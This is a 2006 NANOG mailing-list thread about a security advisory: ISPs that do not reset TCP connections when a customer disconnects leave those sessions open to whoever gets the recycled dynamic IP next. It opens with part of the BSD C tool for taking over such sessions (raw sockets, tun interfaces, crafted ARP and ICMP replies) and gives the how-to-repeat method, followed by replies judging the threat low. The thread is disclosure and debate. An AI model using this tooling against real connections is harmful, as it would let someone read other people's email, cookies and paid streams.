0xffff) + (sum >> 16); sum = ~sum & 0xffff; return (sum); } /* END tcp_cksum */ /* BEGIN get_ifmtu */ /* * GET_IFMTU - get the specified MTU of the interface, -1 on error */ int get_ifmtu(char *name) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFMTU, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return (ifr.ifr_mtu); } /* END get_ifmtu */ /* BEGIN set_ip4header */ /* * SET_IP4HEADER - configures the IP header based on a set of hints * returns -1 on error */ int set_ip4header(struct ip *ip, struct ip *hints) { int fh = 0; /* free hints */ struct ip *_hints; if (hints) _hints = hints; else { _hints = (struct ip *)calloc(1, sizeof(struct ip)); fh = 1; } ip->ip_v = (_hints->ip_v != 0) ? _hints->ip_v : IPVERSION; ip->ip_hl = (_hints->ip_v != 0) ? _hints->ip_hl : sizeof(struct ip) >> 2; ip->ip_tos = (_hints->ip_tos != 0) ? _hints->ip_tos : IPTOS_LOWDELAY; ip->ip_len = (_hints->ip_len != 0) ? _hints->ip_len : sizeof(struct ip); ip->ip_id = (_hints->ip_id != 0) ? _hints->ip_id : (u_int16_t)arc4random(); ip->ip_off = (_hints->ip_off != 0) ? _hints->ip_off : 0; ip->ip_ttl = (_hints->ip_ttl != 0) ? _hints->ip_ttl : ((_hints->ip_p == IPPROTO_ICMP) ? MAXTTL : IPDEFTTL); ip->ip_p = (_hints->ip_p != 0) ? _hints->ip_p : IPPROTO_IP; ip->ip_sum = (_hints->ip_sum != 0) ? _hints->ip_sum : 0; ip->ip_src.s_addr = (_hints->ip_src.s_addr != 0) ? _hints->ip_src.s_addr : INADDR_ANY; ip->ip_dst.s_addr = (_hints->ip_dst.s_addr != 0) ? _hints->ip_dst.s_addr : INADDR_LOOPBACK; if (fh) free(_hints); return 0; } /* END set_ip4header */ void get_data(struct sess *s, u_char *data, int len) { s->data = calloc(1, len); if (s->data == NULL) return; s->len = len; memcpy(s->data, data, s->len); } /* BEGIN open_raw */ /* * OPEN_RAW - open a raw socket, with following protocol, return -1 * on error. */ int open_raw(int proto) { int so; int on = 1; if ((so = socket(AF_INET, SOCK_RAW, proto)) < 0) return -1; if (setsockopt(so,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)) < 0) { close(so); return -1; } return so; } /* END open_raw */ int open_tunnel(void) { int fd; int mtu = 1500; char tunif[IFNAMSIZ]; if ((fd = open_tun((char *)&tunif, sizeof(tunif))) < 0) { perror("open_tun"); exit(1); } #if 0 if (set_tunmode(fd, IFF_POINTOPOINT) < 0) { perror("set_tunmode"); exit(1); } if (set_ifpop(tunif, pointa, pointb, netmask) < 0) { perror("set_ifpop"); exit(1); } if (set_ifup(tunif) < 0) { fprintf(stderr, "can't set interface up\n"); exit(1); } #else if (set_tunmode(fd, IFF_BROADCAST | IFF_LINK0) < 0) { perror("set_tunmode"); exit(1); } if (set_ifup(tunif) < 0) { fprintf(stderr, "can't set interface up\n"); exit(1); } if (set_ifip(tunif, pointb, netmask, AF_INET) < 0) { perror("set_ifip"); exit(1); } #endif if ((mtu = get_ifmtu(tunif)) < 0) { perror("get_ifmtu"); exit(1); } if (mtu > 1500) { mtu = 1500; if (set_ifmtu(tunif, mtu) < 0) { perror("set_ifmtu"); exit(1); } } return fd; } /* BEGIN open_tun */ /* * open_tun - search existing tun(4) device and find one that is open return * file descriptor or -1 on error. If an argument is given * try to open that device explicitly otherwise the selected * device is written to that pointer, for max len bytes */ int open_tun(char *name, int len) { #define MAX_TUN_DEVICES 16 char tmp[MAXPATHLEN]; int dn; /* device number */ int fd; /* file descriptor to be returned */ if (len > IFNAMSIZ) { errno = ENAMETOOLONG; return -1; } /* * XXX look carefully, this is a little tricky cruft */ snprintf(tmp, sizeof(tmp), "/dev/%s", name); if ((fd = open(tmp, O_RDWR, 0600)) != -1) return fd; for (dn = 0; dn < MAX_TUN_DEVICES; dn++) { errno = 0; snprintf(name, len, "tun%d", dn); snprintf(tmp, sizeof(tmp), "/dev/%s", name); fd = open(tmp, O_RDWR, 0600); if (fd < 0) { if (errno == EBUSY) continue; break; } else return fd; } return -1; } /* END open_tun */ /* BEGIN set_tunmode */ /* * SET_TUNMODE - set the mode of the specified tunnel device * IFF_POINTOPOINT or IFF_BROADCAST, return -1 on err */ int set_tunmode(int fd, int mode) { if (mode != IFF_POINTOPOINT && (mode & ( IFF_BROADCAST | IFF_LINK0 )) != (IFF_BROADCAST | IFF_LINK0)) return -1; if (check_tundev(fd) < 0) return -1; if (ioctl(fd, TUNSIFMODE, &mode, sizeof(mode)) < 0) return -1; return mode; } /* END set_tunmode */ /* BEGIN check_tundev */ /* * CHECK_TUNDEV - check the type of device, return 1 if device -1 else */ int check_tundev(int fd) { #define TUN_DEV "/dev/tun" struct stat sb; if (fstat(fd, &sb) < 0) return -1; if (S_ISCHR(sb.st_mode)) return 0; return -1; } /* END check_tundev */ /* BEGIN del_ifip */ /* * DEL_IFIP - delete an IP alias from a certain interface, takes IP as second * argument, returns 0 on success, -1 on error */ int del_ifip(char *name, char *ip) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; sin.sin_addr.s_addr = inet_addr(ip); memset(&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memcpy(&ifra.ifra_addr, &sin.sin_addr.s_addr, sizeof(struct sockaddr)); if (ioctl(so, SIOCDIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END del_ifip */ /* BEGIN set_ifip */ /* * SET_IFIP - sets an IP address on the specified interface, returns 0 on * success, -1 on error */ int set_ifip(char *name, char *address, char *netmask, int af) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if (af == AF_INET6) return -1; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(address); sin.sin_len = sizeof(sin); memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); sin.sin_addr.s_addr = inet_addr(netmask); memcpy(&ifra.ifra_mask, (struct sockaddr *)&sin, sizeof(struct sockaddr)); if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifip */ /* BEGIN set_ifpop */ /* * SET_IFPOP - set 2 points on a point to point interface, returns 0 on * smooth sails, and -1 on error */ int set_ifpop(char *name, char *point1, char *point2, char *netmask) { int so; struct ifaliasreq ifra; struct sockaddr_in sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifra, 0, sizeof(ifra)); strlcpy(ifra.ifra_name, name, sizeof(ifra.ifra_name)); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(point1); sin.sin_len = sizeof(sin); memcpy(&ifra.ifra_addr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); sin.sin_addr.s_addr = inet_addr(point2); #ifdef __OpenBSD__ memcpy(&ifra.ifra_dstaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); #else memcpy(&ifra.ifra_broadaddr,(struct sockaddr *)&sin,sizeof(struct sockaddr)); #endif if (netmask) { sin.sin_addr.s_addr = inet_addr(netmask); memcpy(&ifra.ifra_mask,(struct sockaddr*)&sin,sizeof(struct sockaddr)); } if (ioctl(so, SIOCAIFADDR, &ifra, sizeof(ifra)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifpop */ /* BEGIN get_ifflags */ /* * GET_IFFLAGS - get flags of specified interface, return -1 on error */ short get_ifflags(char *name) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFFLAGS, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return(ifr.ifr_flags); } /* END get_ifflags */ /* BEGIN set_ifflags */ /* * SET_IFFLAGS - set flags of specified interface, return -1 on error */ int set_ifflags(char *name, short flags) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); ifr.ifr_flags = flags; if (ioctl(so, SIOCSIFFLAGS, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return(0); } /* END set_ifflags */ /* BEGIN set_ifup */ /* * SET_IFUP - turn an interface into the IFF_UP state */ int set_ifup(char *name) { short flags; flags = get_ifflags(name); flags |= IFF_UP; return (set_ifflags(name, flags)); } /* END set_ifup */ /* BEGIN set_ifdown */ /* * SET_IFDOWN - turn an interface off */ int set_ifdown(char *name) { short flags; flags = get_ifflags(name); flags &= ~IFF_UP; return (set_ifflags(name, flags)); } /* END set_ifdown */ /* BEGIN set_ifmtu */ /* * SET_IFMTU - set the specified interface MTU and return 0 on success, -1 * on error. */ int set_ifmtu(char *name, int mtu) { int so; struct ifreq ifr; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); ifr.ifr_mtu = mtu; if (ioctl(so, SIOCSIFMTU, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); return 0; } /* END set_ifmtu */ /* BEGIN get_ifaddr */ /* * GET_IFADDR - gets the interface address which is returned in an * in_addr_t */ in_addr_t get_ifaddr(char *name) { int so; struct ifreq ifr; struct sockaddr_in *sin; if ((so = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset((char *)&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(so, SIOCGIFADDR, &ifr, sizeof(ifr)) < 0) { close(so); return -1; } close(so); sin = (struct sockaddr_in *)&ifr.ifr_addr; return (sin->sin_addr.s_addr); } /* END get_ifaddr */ void reply_icmp(int fd, char *data, int len) { struct ip *ip; struct icmp *icmp; int newlen = len; char *newdata = data; u_int32_t iptmp; u_int32_t *af; ip = (struct ip *)newdata; newdata += sizeof(struct ip); newlen -= sizeof(struct ip); if (newlen < ICMP_MINLEN) return; icmp = (struct icmp *)newdata; if (icmp->icmp_type == 8) { icmp->icmp_type = 0; icmp->icmp_cksum = 0; iptmp = ip->ip_dst.s_addr; ip->ip_dst.s_addr = ip->ip_src.s_addr; ip->ip_src.s_addr = iptmp; ip->ip_sum = 0; icmp->icmp_cksum = 0; ip->ip_sum = ip_cksum((u_short *)data, sizeof(struct ip)); icmp->icmp_cksum = ip_cksum((u_short *)newdata, newlen); newdata = malloc(len); if (newdata == NULL) return; memcpy((char *)newdata, data, len); #if 0 af = (u_int32_t *)newdata; *af = htonl(AF_INET); #endif write_frame(fd, newdata, len + sizeof(u_int32_t)); free(newdata); } return; } void arplookup(int fd) { u_char buf[2500]; int len; int i; struct ether_header *eh; struct ether_arp *ah; time_t now, before; for (i = 0; i < 5; i++) { memset(&buf, 0, sizeof(buf)); eh = (struct ether_header *)&buf[0]; ah = (struct ether_arp *)&buf[sizeof(struct ether_header)]; len = sizeof(struct ether_header) + sizeof(struct ether_arp); eh->ether_type = htons(ETHERTYPE_ARP); memset(eh->ether_dhost, 0xff, sizeof(eh->ether_dhost)); memcpy(eh->ether_shost, &mymac, sizeof(mymac)); ah->arp_hrd = htons(ARPHRD_ETHER); ah->arp_pro = htons(ETHERTYPE_IP); ah->arp_hln = sizeof(ah->arp_sha); ah->arp_pln = sizeof(ah->arp_spa); ah->arp_op = htons(ARPOP_REQUEST); memcpy(ah->arp_sha, &mymac, sizeof(mymac)); memcpy(ah->arp_spa, &myip, sizeof(myip)); memcpy(ah->arp_tpa, &routerip, sizeof(routerip)); if (write(fd, buf, len) < 0) { perror("write"); } before = time(NULL); for (;difftime(now, before) < 10;now = time(NULL)) { if ((len = read(fd, buf, sizeof(buf))) < 0) { perror("read"); } if (len < (sizeof(struct ether_header) + sizeof(struct ether_arp))) { continue; } if (memcmp(&eh->ether_dhost, &mymac, sizeof(mymac)) == 0 && ntohs(eh->ether_type) == ETHERTYPE_ARP && ntohs(ah->arp_op) == ARPOP_REPLY) { memcpy(&routermac, ah->arp_sha, sizeof(routermac)); goto out; } } /* for difftime */ continue; /* back to writing a new ARP request */ } #if 0 for (i = 0; i < sizeof(routermac); i++) { printf("%02x:", routermac[i]); } printf("\n"); #endif out: return; } void reply_arp(int fd, u_char *data, int len) { u_char buf[2500]; int newlen; int i; struct ether_header *eh, *eh2; struct ether_arp *ah, *ah2; eh = (struct ether_header *)data; ah = (struct ether_arp *)(data + sizeof(struct ether_header)); if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 && ntohs(ah->arp_hrd) == ARPHRD_ETHER && ntohs(ah->arp_pro) == ETHERTYPE_IP && ah->arp_hln == sizeof(ah->arp_sha) && ah->arp_pln == sizeof(ah->arp_spa) && ntohs(ah->arp_op) == ARPOP_REQUEST) { if (memcmp(&ah->arp_tpa, &myip, sizeof(myip)) != 0) { return; } memset(&buf, 0, sizeof(buf)); eh2 = (struct ether_header *)&buf[0]; ah2 = (struct ether_arp *)&buf[sizeof(struct ether_header)]; newlen = sizeof(struct ether_header) + sizeof(struct ether_arp); eh2->ether_type = htons(ETHERTYPE_ARP); memcpy(eh2->ether_dhost, eh->ether_shost, sizeof(eh->ether_shost)); memcpy(eh2->ether_shost, &mymac, sizeof(mymac)); ah2->arp_hrd = htons(ARPHRD_ETHER); ah2->arp_pro = htons(ETHERTYPE_IP); ah2->arp_hln = sizeof(ah2->arp_sha); ah2->arp_pln = sizeof(ah2->arp_spa); ah2->arp_op = htons(ARPOP_REPLY); memcpy(ah2->arp_sha, &mymac, sizeof(mymac)); memcpy(ah2->arp_spa, &myip, sizeof(myip)); memcpy(ah2->arp_tpa, ah->arp_spa, sizeof(ah->arp_spa)); memcpy(ah2->arp_tha, ah->arp_sha, sizeof(ah->arp_sha)); if (write(fd, buf, newlen) < 0) { perror("write"); } } return; } int write_frame(int fd, char *data, int len) { char buf[2500]; struct ether_header *eh = (struct ether_header *) &buf[0]; char *concat; int newlen; newlen = len + sizeof(struct ether_header); if (newlen > sizeof(buf)) { errno = ENOBUFS; return -1; } concat = &buf[sizeof(struct ether_header)]; eh->ether_type = htons(ETHERTYPE_IP); memcpy(eh->ether_dhost, &routermac, sizeof(routermac)); memcpy(eh->ether_shost, &mymac, sizeof(mymac)); memcpy(concat, data, len); return (write(fd, buf, newlen)); } -- Here my ticker tape .signature #### My name is Peter Philipp #### lynx -dump "http://en.wikipedia.org/w/index.php?title=Pufferfish&oldid=20768394" | sed -n 131,136p #### So long and thanks for all the fish!!!
What's new here? Attack-vectors for session-hijacking has been thoroughly discussed elsewhere, so there's no reason to repeat that here. But .... On Wed, 19 Jul 2006 02:02:20 -0500 (CDT), "Gadi Evron" <ge@linuxbox.org> said: [snip]
Description: Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed.
You've got far more serious problems than session hijacking to worry about if your network permit an attacker to monitor who/when/where people are disconnected or to kick users off the network at will as would be required to succeed. Besides, to which extent do broadband networks: - permit users to choose their own address? - immediately reuse an address for an other user (unless the pool is exhausted)? //Per -- Per Heldal http://heldal.eml.cc/
On Wed, 19 Jul 2006, Per Heldal wrote:
What's new here?
When I see a NANOG related issue once in a while on bugtraq, I forward it. Gadi.
Attack-vectors for session-hijacking has been thoroughly discussed elsewhere, so there's no reason to repeat that here. But ....
On Wed, 19 Jul 2006 02:02:20 -0500 (CDT), "Gadi Evron" <ge@linuxbox.org> said: [snip]
Description: Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed.
You've got far more serious problems than session hijacking to worry about if your network permit an attacker to monitor who/when/where people are disconnected or to kick users off the network at will as would be required to succeed.
Besides, to which extent do broadband networks:
- permit users to choose their own address?
- immediately reuse an address for an other user (unless the pool is exhausted)?
//Per -- Per Heldal http://heldal.eml.cc/
How-To-Repeat: With a stateful firewall one can determine TCP traffic that has no state registered with the firewall and if the TCP flags do not match SYN, FIN, or RST, one can assume open connection and continue them. Interesting
Fix: After a dynamic customer terminates a broadband connection, network access servers should terminate any TCP traffic with an RST reply, and give at least a minute time for any retransmissions to be caught. If this is not wanted by the network architect, perhaps a stateful firewall keeping states for customers per session. This is not a good solution though because some
Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed. A customer who happens to resume a recycled dynamic IP can then read the previous persons open sessions. With streaming mp3 radio services that work on a per-pay basis, this can result in substantial monetary losses, not to mention porn streaming. Further unencrypted email can be read and website cookies can be assumed to continue private Web sessions. things have been captured, including, IRC chat sessions, HTTP downloads and POP3 sessions theoretically could also be continued. Software[1] written for BSD Unix follows this advisory, that can re-assume open sessions. people do not want a firewall between their end-user connection and the open Internet, their privacy from this should be accepted. Another security programmer that I contacted, suggested that dynamic IP addresses perhaps be more static with end-users, but I personally don't think this is a good solution either as this puts the anonymity of end-users at stake, and goes against the philosophy of anonymity that the forefathers of the Internet thought out. On the consumers side one can protect themselves by only using encrypted communications, as this makes reading of personal data difficult.
Summary: "Poorly designed services can be hijacked. As a result, we recommend that every access server be redesigned." *That*, of course, has its own set of problems. What happens when the access server crashes and reboots, for example? What happens on campus dorm networks where the "access server" is an Ethernet switch? There are plenty of other attack vectors, including *active* attack vectors, which do not rely on a malicious end user being assigned to a recycled IP. Yet this "notice" pays no attention to these more likely attack vectors. MY conclusion? "Poorly designed services can be hijacked. As a result, the services in question should be fixed." If it is important, it ought to be encrypted, for example. This is really neither new nor shocking to anyone who has been working with TCP/IP for any length of time. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples.
On Wed, 19 Jul 2006 02:02:20 CDT, Gadi Evron said:
Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed. A customer who happens to resume a recycled dynamic IP can then read the previous persons open sessions.
Low threat level indeed. The following *ALL* need to happen for it to be a problem: 1) You need to get disconnected unexpectedly. 2) Your IP address needs to be re-assigned quickly - before the ISP's routing hardware has a chance to send too many ICMP Dest Unreachable and cause a connection shutdown. 3) Your IP address needs to be handed to a malicious user. 4) Said malicious user has to be running an IP stack configured to *NOT* send back a TCP RST or ICMP Port Unreachable when a packet comes in. 5) The connection being hijacked needs to have in-flight data that will be retransmitted or a keep-alive packet or other similar hint to the attacker that the connection exists.
participants (4)
-
Gadi Evron
-
Joe Greco
-
Per Heldal
-
Valdis.Kletnieks@vt.edu